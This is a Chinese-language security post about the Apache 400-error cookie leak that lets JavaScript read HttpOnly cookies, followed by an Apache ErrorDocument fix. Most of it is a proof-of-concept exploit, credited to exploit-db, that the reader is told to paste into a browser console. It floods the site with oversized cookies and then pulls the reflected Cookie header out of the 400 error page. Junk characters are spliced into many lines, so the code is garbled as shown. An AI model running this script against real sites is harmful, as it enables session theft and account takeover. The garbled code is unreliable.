很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。9 L4 o6 Y9 J i! y( ~7 L* G9 b' \# J
- C b) n8 x1 `1 a4 K q
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:/ m+ l5 u& }6 s; Y! b5 g! z' b/ h# s
1 i& {2 Z" b; z- Y: H- Q) T, i+ f* [0 w2 F. M* t/ L
// http://www.exploit-db.com/exploits/18442/
7 A' v& H: _. n5 Zfunction setCookies (good) {
$ w" e/ |5 m* Z- Q// Construct string for cookie value4 u4 k/ K; v9 n+ F) L. O3 A
var str = "";
: X! X' d+ C; r/ Q+ C& \for (var i=0; i< 819; i++) {
1 i, t% d& |' ~0 w: s- R6 ^1 O; d' n1 pstr += "x";- _( F5 d4 t' m# e
}
3 S: `0 `: W3 O// Set cookies- w( c3 u" y# ^! o
for (i = 0; i < 10; i++) {
3 s- A$ c j$ [1 b# M// Expire evil cookie/ t7 j$ G4 m8 g3 G9 ?+ j% g) u S
if (good) {
( j, E3 ^, P+ e f s9 uvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";0 B2 J: m* F6 K
}
( P1 L, G, p: Y' f5 B" T: t// Set evil cookie
. W% }* W t' }else {" I: N- a0 n+ Z# |
var cookie = "xss"+i+"="+str+";path=/";2 T3 E0 m' G' [ H2 c' k
}$ ?& L5 B/ u( h5 x8 A: W2 r7 h
document.cookie = cookie;
( x2 J/ _; Z F8 D$ A( c}
) d* B2 h2 t: d+ ^}
6 m J% }2 q5 J# Ifunction makeRequest() {; Z( Q! ^% j: t/ |2 E
setCookies();: i+ [9 U+ c$ x2 j4 E9 Y7 s7 ~5 o
function parseCookies () {; `2 }% R. B+ A$ s# F C$ X
var cookie_dict = {};
! E- x+ B: ^6 j" i Y* ?// Only react on 400 status
2 w9 r1 `; G& g; q% eif (xhr.readyState === 4 && xhr.status === 400) {
0 H) }6 J/ W7 n! ?// Replace newlines and match <pre> content5 U4 d4 y9 c) t9 k- o' }0 F/ S
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);* N" ^' l; ?* Z
if (content.length) {
- c) W2 I7 G3 ~. Y// Remove Cookie: prefix
! y8 Q% @' h1 Y3 P vcontent = content[1].replace("Cookie: ", "");+ ]$ G, @5 X# l' F" R' h; Q$ }
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);' k9 o( |' E& i
// Add cookies to object9 a) E/ _7 D0 C* V7 g
for (var i=0; i<cookies.length; i++) {
% R2 q7 f; V* K+ s* Fvar s_c = cookies.split('=',2);! [; \! I& H8 S* W( W7 D+ X
cookie_dict[s_c[0]] = s_c[1];
" D1 `2 T6 U3 v/ c3 `* ]5 O}
, P) i9 w3 N( I( H$ E1 f}
" t6 v3 h7 _6 Z+ T// Unset malicious cookies
& J; k2 i+ D2 j( j3 H4 ssetCookies(true);
0 x4 w( ?3 x( F& b& Salert(JSON.stringify(cookie_dict));
7 V/ B- M+ H+ v}
k$ X5 x- _1 `- M4 M2 w}
& S6 k8 o8 {) R8 Q7 e// Make XHR request% K3 v( L. i& L
var xhr = new XMLHttpRequest();
6 Y" D" b, P5 {1 i A6 Zxhr.onreadystatechange = parseCookies;
4 \. y, f2 B2 L2 k% Z$ y" c! kxhr.open("GET", "/", true);) @/ D, c& P4 q) F
xhr.send(null);% c3 v& {" V/ u$ F- C; @
}
4 D" N1 w9 j3 C$ }5 M( ImakeRequest();
8 G# w3 N( _1 o+ n* u: B+ w" _! u, }3 u: c
你就能看见华丽丽的400错误包含着cookie信息。
$ r: G6 f; P) @9 X$ I: O
& h2 a' c+ y& k9 @5 t' X& Z下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#( c& j; e' c7 d
, j$ y% s+ m4 k5 h修复方案:
& D3 D6 D% J% j6 a6 z- c. Q; R
' \4 \: W( F3 j3 Q& XApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下4 y& i2 |8 X6 Y, D3 c; O3 _: g
8 K& }3 T$ I8 t8 f5 d( u! \In the event of a problem or error, Apachecan be configured to do one of four things,
9 e/ d: W+ _8 ~% A5 ?* E W: h4 m' x! y# }: S" n
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息$ Q8 x8 X0 l' M, ]8 s: G/ z0 Y
2. output acustomized message输出一段信息
6 [* K5 P3 z. `+ D3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ! C/ E- H( a, w
4. redirect to an external URL to handle theproblem/error转向一个外部URL+ L4 m6 M" ]+ ^+ e# S7 t. e
2 Y" x) K6 {5 I8 Z# {, S; b( k _! P经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
( ~3 N! C ~7 S
: S- a2 U: {, d8 q2 YApache配置:6 K( Q: O& G. w
3 v! o- \- x" w# c% V" B& R2 GErrorDocument400 " security test"8 f3 h* D" [7 D a" E
6 @# b8 y) s3 X7 {- Y3 `- W( ]
当然,升级apache到最新也可:)。
; I9 O! H) g) K& j. e- l! A: P/ }6 k9 f- }
参考:http://httpd.apache.org/security/vulnerabilities_22.html
5 F7 }- W P$ |4 J+ D4 H) k, i4 G/ K& Q' J( c0 w+ z7 X- d
|